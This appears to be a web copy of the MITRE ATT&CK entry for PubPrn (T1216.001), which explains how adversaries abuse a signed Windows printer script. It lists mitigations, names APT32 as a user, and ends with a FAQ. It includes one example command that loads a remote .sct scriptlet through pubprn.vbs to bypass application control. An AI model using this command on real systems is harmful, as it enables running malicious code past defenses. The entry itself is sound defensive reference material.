Description
Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).
Platforms
Mitigations (2)
Execution PreventionM1038
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
Behavior Prevention on EndpointM1040
On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.(Citation: Microsoft_rec_block_rules)
Threat Groups (1)
| ID | Group | Context |
|---|---|---|
| G0050 | APT32 | [APT32](https://attack.mitre.org/groups/G0050) has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.(Citation:... |
References
- Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.
- Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.
Frequently Asked Questions
What is T1216.001 (PubPrn)?
T1216.001 is a MITRE ATT&CK technique named 'PubPrn'. It belongs to the Stealth tactic(s). Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directo...
How can T1216.001 be detected?
Detection of T1216.001 (PubPrn) typically involves monitoring system logs, network traffic, and endpoint telemetry. Use SIEM rules, EDR solutions, and behavioral analytics to identify suspicious activity associated with this technique.
What mitigations exist for T1216.001?
There are 2 documented mitigations for T1216.001. Key mitigations include: Execution Prevention, Behavior Prevention on Endpoint.
Which threat groups use T1216.001?
Known threat groups using T1216.001 include: APT32.